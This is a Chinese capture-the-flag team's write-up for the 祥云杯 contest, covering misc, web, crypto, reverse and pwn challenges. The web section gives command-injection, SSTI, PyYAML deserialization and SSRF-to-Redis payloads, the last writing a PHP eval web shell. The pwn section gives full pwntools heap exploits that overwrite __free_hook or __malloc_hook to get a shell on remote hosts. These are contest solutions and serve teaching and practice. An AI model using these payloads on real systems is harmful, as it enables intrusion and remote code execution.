祥云杯 By 天璇Merak
Misc
签到
base64
到点了
1里面隐藏字符 提示8位密码
2 有密码
3 zip打开发现有4.bmp
2利用docx2john进行爆破
打开压缩包下面有一层隐藏的字符
可以粘贴出来 发现是培根密码
在docx配置文件发现提示wb4stego
下载软件直接利用 培根密码解密的密文当密钥
然后得到flag
xixixi
文件是一个磁盘镜像,使用winhex可以在里面找到一个kejin.png和两个python脚本
其中一个脚本是用来把原图片分成58份,并将后57份异或加密后藏在磁盘里的
其中kenjin.png就是第一份
另一个脚本中的FATParser类的Cluster2DataOff方法可以通过cluster来找到下一部分文件的偏移地址
通过观察加密脚本,可以看出来通过每一份文件的最后四个字节可以得到下一份文件的cluster
从而可以得到下一份文件的偏移地址和加密密钥
由此可以写出脚本:
import struct
import xixi
import binascii
vhd = xixi.FAT32Parser('new.vhd')
file = open('new.vhd', 'rb')
flag = open('flag.png', 'wb')
file.read(0x27bae00)
flag.write(file.read(8))
def readData(n, key):
data = file.read(n)
li = []
for i in data:
temp = i ^ (key & 0xfe)
li.append(temp)
tpl = tuple(li)
return bytes(tpl)
if __name__ == '__main__':
key = 0
for i in range(59):
data1 = readData(8, key)
a = struct.unpack('>I4s', data1)[0]
b = struct.unpack('>I4s', data1)[1]
data2 = readData(a, key)
crc1 = struct.unpack('>I', readData(4, key))[0]
crc2 = binascii.crc32(b + data2) & (0xffffffff)
if crc1 != crc2:
cluster = struct.unpack('<I', struct.pack('>I', crc1))[0]
key = cluster & 0xfe
offset = vhd.Cluster2DataOff(cluster)
file.seek(offset)
data3 = struct.pack('>I', a) + b + data2 + struct.pack('>I', crc2)
flag.write(data3)
恢复出原图片,图片上就能找到flag
进制反转
下载下来是一个rar压缩包,打开显示里面的文件头损坏且文件被加密
显然是rar伪加密,使用010editor找到加密位,把1改成0,即可打开压缩包
解压出来是一个wav文件,但是打不开
这里我使用了wav repairer恢复了wav文件头,就可以播放了
但播放出来的像是反向的
用audacity打开文件,把音频改成反向,就可以听见歌了
根据歌名就是flag的提示,使用听歌识曲或者直接听歌词然后百度就能得到flag
带音乐家
midi文件通过搜索发现一种编程语言叫做velato
然后下载编译器直接编译得到了exe
之后运行发现了 压缩包密码
同时打开RAR发现注释处有奇怪的空格,复制到notepad发现了摩斯密码
AESKEY9219232322
然后进入docx隐藏字符里面有aes密文
aes解密就可以得到flag了
Web
Command
经典Bypass RCE了
sort /etc/.findf???/???.txt 过滤空格直接换成不可见字符就行 %09
最终payload
127.0.0.1|sort%09/etc/.find????/f??g.txt
flaskbot
SSTI + 猜测nan
读源码提示日志
payload:
{{' '.__class__.__mro__[2].__subclasses__()[40]('/app/app.py').read()}}
直接拿log中的 pin码
在debug界面RCE就行
easygogogo
进入页面可以看出是一个文件上传
上传头像头看/show页面读回显
之后由于它用cookie保存的
直接上传时就可以进行目录穿越
../../../../flag就可以了
但是上传之后会覆盖flag的内容
重启容器之后先随便上传一个(貌似是show的前置条件)
所以获得session后重启容器
打进去就可以了
doyouknowssrf
和GACTF基本一样的题目
前面parse_url绕过进行SSRF到5000端口,然后提示盲打内网
直接打6379发现存在Redis
因为只能http协议考虑直接写shell进
利用gopherus生成的gopher协议改http协议的改一改
http://eci-2ze5a6nc0glno2pn1g5v.cloudeci1.ichunqiu.com/?url=http://root:root@127.0.0.1:5000@y1ng.vip/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
写到根目录下shell
profile system
通过session格式得知是python,猜测pyyaml处理yaml文件,网搜反序列化漏洞。
从应用Download链接尝试路径穿越,获取到app.py源码,得到secret_key
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
可以构造session
核心逻辑
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except:
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template("view.html",user = info['user'])
数据不能出网,用刚才的路径穿越来读,因此构造yaml如下
\x2e bypass .
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem(' /readflag > \x2e/uploads/ekisb')"
easyzzz
cve 绕过if
zzzRCE /search/处模板注入命令执行
经过测试发现过滤了if和一些函数(替换成*)
于是采取base_convert绕过,但是base_convert不能处理/
,于是在此之前需要一步hex2bin
echo base_convert(bin2hex("/flag"),16,10);
# 203581841767
echo hex2bin(base_convert(203581841767,10,16));
# /flag
原payload
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
修改后
{{leftstr:i,1}{leftstr:f,1}:array_map(show_source(hex2bin(base_convert(203581841767,10,16))),array(1))}{end {leftstr:i,1}{leftstr:f,1}}
Crypto
Exposure
利用dp构造partial p,爆破k,CopperSmith即可
即有 $d_ppart<<200 + x = d_p$
$d_p * e \equiv 1 \mod p-1$
$e (d_ppart<<200 + x) -1=k(p-1)$
$k^{-1}(e (d_ppart<<200 + x) - 1) +1\equiv p \mod n, k\in [1, e]$
from Crypto.Util.number import *
from tqdm import tqdm
dp_part =
c =
n =
R.<x> = PolynomialRing(Zmod(n))
e = 7621
kbits = 200
for k in tqdm(range(1, e+1)):
f = ((x + dp_part*(2**200)) * e - 1) * inverse(k, n) + 1
solve = f.monic().small_roots(X=2 ^ 200, beta=0.4)
if len(solve) > 0:
print(solve[0])
p = GCD(((int(solve[0]) + dp_part*(2**200)) * e - 1) * inverse(k, n) + 1, n)
q = n // p
assert n == p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
tmp = pow(c, d, n)
print(long_to_bytes(tmp))
input()
more_calc
p太大了,flag太短,直接在p上RSA即可
from Crypto.Util.number import *
p =
c =
e = 0x10001
print(long_to_bytes(pow(c, inverse(e, p-1), p)))
RSAssss
由于存在非常接近的两个根p(q+x),q(p+y),可以直接使用fermat算法分解出,然后爆破x,y解方程即可
from Crypto.Util.number import *
from gmpy2 import *
from math import *
from z3 import *
def fermat_factor_simple(n, deepth=2 ** 25):
x0 = ceil(int(iroot(n, 2)[0])) + 1
tmp = x0 ** 2 - n
for i in tqdm(range(deepth)):
if iroot(tmp, 2)[1]:
y = int(iroot(tmp, 2)[0])
x = int(iroot(tmp + n, 2)[0])
return x + y, x - y
else:
tmp = tmp + 2 * x0 + 1 + i * 2
print('No solution')
n, c = ,
e = 0x10001
f1 = fermat_factor_simple(n)[0]
f2 = n//f1
p = Int('p')
q = Int('q')
# px1 - qx2
tmp = f1 - f2
assert f1 > f2
# px1 + qx2 + 2pq
tmp2 = tmp**2
q_x =
assert f1 % q_x == 0
p = f1 // q_x
q = f2//next_prime(p)
assert f2 % q == 0
phi = (p-1) * (q-1) * (next_prime(p)-1) * (next_prime(q)-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
'''for x1 in tqdm(range(2, 3000, 2)):
for x2 in range(2, 3000, 2):
if x1 == x2:
continue
check = tmp - x1 * x2
judge = (check ** 2) + 4 * f1 * x1 * x2
if iroot(judge, 2)[1]:
solve(p * x1 - q * x2 == tmp, p*(q+x1) == f1)
tmp2 = int(iroot(judge, 2)[0])
then = tmp + tmp2
if gcd(then, f1) > 1:
print(gcd(then, f1))
input()'''
simpleRSA
Wiener Attak, 改下位数限制条件即可找出d
def rational_to_quotients(x, y): # calculate the series of continued fraction
a = x // y
quotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
quotients.append(a)
return quotients
def convergents_from_quotients(quotients): # calculate the convergent series of continued fraction
convergents = [(quotients[0], 1)]
for i in range(2, len(quotients) + 1):
quotients_partion = quotients[0:i]
denom = quotients_partion[-1] # 分母
num = 1
for _ in range(-2, -len(quotients_partion), -1):
num, denom = denom, quotients_partion[_] * denom + num
num += denom * quotients_partion[0]
convergents.append((num, denom))
return convergents
def WienerAttack(e, n):
quotients = rational_to_quotients(e, n)
convergents = convergents_from_quotients(quotients)
for (k, d) in convergents:
if k and not (e * d - 1) % k:
phi = (e * d - 1) // k
if 256>=int(d).bit_length() >=250:
return d
n =
e =
c =
d = WienerAttack(e, n)
print(long_to_bytes(pow(c, d, n)))
easy matrix
基础LWE,直接套了N1ctf官方的板子
import numpy as np
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler as DGDIS
from sage.modules.free_module_integer import IntegerLattice
def CVP(lattice, target):
gram = lattice.gram_schmidt()[0]
t = target
for i in reversed(range(lattice.nrows())):
c = ((t * gram[i]) / (gram[i] * gram[i])).round()
t -= lattice[i] * c
return target - t
matrix = np.load('./matrix.npy')
result = np.load('./result.npy')
tmp = [[] for _ in range(128)]
for i in range(128):
for j in range(42):
tmp[i].append(int(matrix[i][j]))
matrix = tmp
res = [int(i) for i in result]
module = 2129
row = 128
column = 42
M = Matrix(ZZ, row + column, row)
for i in range(row):
for j in range(column):
M[row + j, i] = int(matrix[i][j])
M[i, i] = module
print('Got Good Basis')
lattice = IntegerLattice(M, lll_reduce=True)
target = vector(ZZ, res[:row])
res = CVP(lattice.reduced_basis, target)
print('Got CVP')
R = IntegerModRing(module)
M = Matrix(R, matrix[:row])
tmp = M.solve_right(res)
print(''.join([chr(i) for i in tmp]))
blowfishgame
CBC模式任意明文攻击,直接逐字节爆破即可
由于可以指定解密的iv,直接使$iv = SendIV \otimes "Blowfish" \otimes "get_flag"$,即可进入get flag选项,之后输入8*k-i个a,即可将第i个flag字符置于最后一个区块尾部,然后逐个字节爆破,比较每次得到的密文前k个block即可
from pwn import *
from Crypto.Util.number import *
from hashlib import sha384
from base64 import *
from tqdm import tqdm
import string
# context.log_level = 'debug'
bk = 8
def pass_proof():
p.recvuntil('sha384(XXX+')
rest = p.recv(17)
p.recvuntil('== ')
check_hash = p.recv(96)
p.recvuntil('Give me XXX:')
for a in range(0x10, 0x7f):
for b in range(0x10, 0x7f):
for c in range(0x10, 0x7f):
tmp = chr(a) + chr(b) + chr(c)
if sha384(tmp.encode() + rest).hexdigest() == check_hash.decode():
p.sendline(tmp)
print('Pass the Proof')
return
p = remote('8.131.69.237', 15846)
pass_proof()
p.recvuntil(',_|\n\n')
cipher = b64decode(p.recv(32))
send_IV = cipher[:bk]
enc_blow = cipher[bk:]
get_flag_iv = long_to_bytes(bytes_to_long(send_IV) ^ bytes_to_long(b'Blowfish') ^ bytes_to_long(b'get_flag'))
get_flag = b64encode(get_flag_iv + enc_blow).decode()
flag = ''
strange = 0
for i in tqdm(range(len(flag), 42)):
p.sendline(get_flag)
p.sendline('a' * (48-1-i))
if strange == 0:
p.recvline()
strange = 1
check = b64decode(p.recvline()[:-1])[:48]
for char in string.printable:
p.sendline(get_flag)
p.sendline('a' * (48-1 - len(flag)) + flag + char)
judge = b64decode(p.recvline()[:-1])[:48]
if judge == check:
flag += char
print('flag ->', flag)
break
Reverse
apk1
apk打开找到so发现导出了check1函数,然而是假的,再jni_load的注册代码中找到真正的check函数
然后分析代码可以看出是DES+RC4,DES的某些参数似乎被改了,动调
发现直接把密钥流反着喂回去就行,刚好生成密钥的地方提供了个选项,直接把0改1
然后解密就可以得到数据,再拿去RC4解密后的结果就是flag
re1
直接动调,输入,发现结果可以单字节爆破,然后直接枚举0-9,a-f对应的加密后的结果
dump出来反过来置换即可
a=[0xEB,0xF1,0x19,0xE8,0x1E,0x1E,0xF0,0xEC,0xEF,0x1E,0xE9,0x1E,0xEC,0xEC,0xE8,0xEC,0x19,0x19,0xEE,0x1B,0xEF,0xEF,0xEC,0xEA,0x1C,0xEA,0xE8,0xEB,0xEE,0xEB,0x1D,0xF1]
def change(x):
if x>=0xE8 and x<=0xF1:
return chr(x-0xE8+ord('0'))
if x>=0x19 and x<=0x1E:
return chr(x-0x19+ord('a'))
flag=""
for i in range(32):
flag+=change(a[i])
assert len(flag)==32
print("flag{"+flag+"}")
Pwn
Beauty_Of_ChangChun
calloc会越过tcache申请trunk,free里当size=0x100时存在uaf漏洞,可以和edit结合不断free0块填满tcache,然后制造两个unsorted块,malloc_consolidate再放到smallbin里,修改第二个trunk的bk为flag块-0x10,malloc申请掉tcache,再calloc申请smallbin时触发unlink把smallbin放回tcache,victim->bk->fd=victim->fd,把flag块前面的随机数改成__main_arena+352,比较得flag
#coding:utf-8
from pwn import *
import subprocess, sys, os
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
elf_path = './pwn'
ip = '112.126.71.170'
port = 43652
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
local = 0
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote(ip, port)
libc = ELF(remote_libc_path)
def debug(cmd = 'stack'):
gdb.attach(p)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def chose(idx):
sla('4: Enjoy scenery', str(idx))
def add(size = 0x100):
chose(1)
sla('size:', str(size))
def free(idx = 0):
chose(2)
sla('idx:', str(idx))
def edit(idx = 0, chat = 'a' * 8):
chose(3)
sla('idx:', str(idx))
sa('chat:', chat)
def show(idx):
chose(4)
sla('idx:', str(idx))
p.recvuntil('see\n')
return u64(p.recvline()[:-1].ljust(8, '\x00'))
p.recvuntil('A gift from ChangChun People\n')
buf = int(p.recv(12), 16)
add()
for i in range(7):
free()
edit()
add(0x80)
free(1)
add()
add(0x80)
free(2)
free(0)
free(1)
heap = show(1)
libc = show(0)# + 0x100 - 352 - 0x1EBB80
chose(666)
success('libc:0x%x'%libc)
success('heap:0x%x'%heap)
payload = flat(heap, heap + 0x7fffe7b89430 - 0x7fffe7b89290 + 0x20, 0, 0x111, buf, 0)
#edit(1, payload)
edit(0, p64(0))
chose(5)
sleep(0.1)
p.send('123')
payload = flat(libc, heap + 0x7fffe7b89430 - 0x7fffe7b89290)
edit(0, payload)
payload = flat(heap, buf - 0x10)
edit(1, payload)
add()
edit(2, p64(libc + 0x100))
chose(5)
sleep(0.1)
sla('input idx', '2')
#add()
#add()
#debug()
#free(1)
'''
chose(666)
payload = p64(0) + p64(buf - 0x10)
edit(0, payload)
add()
'''
p.interactive()
p.close()
garden
利用0x20块把合并的unsorted bin错位,构造fake trunk,再用uaf的指针释放该块,并且修改fd指向__free_hook,修改为system,最后free一个/bin/sh\x00块
#coding:utf-8
from pwn import *
import subprocess, sys, os
sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)
elf_path = './garden'
ip = '8.131.69.237'
port = 32452
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
#context.log_level = 'debug'
local = 0
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote(ip, port)
libc = ELF(remote_libc_path)
def debug(cmd):
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def chose(idx):
sla('>> ', str(idx))
def add(idx, name = '\n'):
chose(1)
sla('tree index?', str(idx))
sla('name?', name)
def free(idx):
chose(2)
sla('tree index?', str(idx))
def show(idx):
chose(3)
sla('tree index?', str(idx))
p.recv(1)
return u64(p.recv(6).ljust(8, '\x00'))
def free_uaf(idx):
chose(5)
sla('which tree do you want to steal?', str(idx))
for i in range(9):
add(i)
for i in range(7):
free(i+2)
free_uaf(1)
libc = show(1) - 0x1E4C30 - 96 - 0x10
success("0x%x"%libc)
free(0)
chose(6)
add(8, '/bin/sh\x00')
for i in range(6):
add(7-i)
payload = 'a'*0xd0 + flat(0, 0x111)
add(0, payload)
#free(1)
#payload = '\x00'*0x20 + flat(0, 0x111)
#add(1, payload)
free(2)
free(3)
free(4)
free(5)
free(1)
free(0)
free_hook = libc + 0x1e75a8
payload = 'a'*0xd0 + flat(0, 0x111, free_hook, 0)
add(0, payload)
add(1)
#one = one_gadget()
#print one
sys = libc + 0x52fd0
puts = libc + 0x83cc0
add(2, p64(sys))
free(8)
p.interactive()
p.close()
babypwn
init重置0x88的块后存在uaf漏洞,修改指针实现任意写,show泄露libc,修改malloc_hook为one_gadget即可
#coding:utf-8
from pwn import *
import subprocess, sys, os
sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)
elf_path = './pwn'
ip = '8.131.69.237'
port = 52642
remote_libc_path = './libc-2.23.so'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
context.log_level = 'debug'
local = 0
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote(ip, port)
libc = ELF(remote_libc_path)
def debug(cmd):
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def chose(idx):
sla('choice:', str(idx))
def add(size = 0x88):
chose(3)
sla('size:', str(size))
def set(content):
chose(4)
sla('content:', content)
def show():
chose(5)
p.recvuntil('show:\n')
chose(1)
chose(2)
add()
show()
p.recv(8)
heap = u64(p.recv(8))
success('heap : 0x%x'%heap)
one = one_gadget()
chose(1)
add()
show()
libc = u64(p.recv(8)) - 88 - 0x10 - 0x3C4B10
sys = libc + 0x453a0
success('libc : 0x%x'%libc)
#heap - 0x614cf0 + 0x614c40
payload = flat(0, libc + 0x3C4B10)
set(payload)
set(p64(libc + one[1]))
chose(1)
p.interactive()
p.close()
影流之主
glob和globfree函数会产生一堆的bin,申请一个unsorted bin分割出来的块后leak libc,uaf修改malloc_hook为one_gadget
#coding:utf-8
from pwn import *
import subprocess, sys, os
sl = lambda x : p.sendline(x)
se = lambda x : p.send(x)
elf_path = './pwn'
ip = '112.126.71.170'
port = 45123
remote_libc_path = './libc6_2.23-0ubuntu11.2_amd64.so'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
context.log_level = 'debug'
local = 0
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote(ip, port)
libc = ELF(remote_libc_path)
def debug(cmd):
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def chose(idx):
sleep(0.1)
sl(str(idx))
def add():
chose(1)
def free(idx):
chose(2)
sleep(0.1)
sl(str(idx))
def edit(idx, content):
chose(3)
sleep(0.1)
sl(str(idx))
sleep(0.1)
se(content)
def show(idx):
chose(4)
sleep(0.1)
sl(str(idx))
'''
add()#0
add()#1
free(0)
edit(0, p64(0x60203d))
add()#2 = 0
add()#3 -> fake
payload = '\x00'*19
payload += flat(0x601FB0)
edit(3, payload)
show(0)
libc = u64(p.recv(6).ljust(8, '\x00'))
success('0x%x'%libc)
'''
sl('5')
sl('./*')
add()#0
show(0)
hook = u64(p.recv(6).ljust(8, '\x00')) - 88 - 0x10
libc = hook - 0x3c4b10
free_hook = libc + 0x3c67a8
success('0x%x'%libc)
sys = libc + 0x0453a0
puts = libc + 0x6f6a0
one = one_gadget()
print one
free(0)
edit(0, p64(hook - 0x13))
add()
add()
edit(2, '\x00'*3 + p64(libc + one[3]))
sleep(0.1)
add()
p.interactive()
p.close()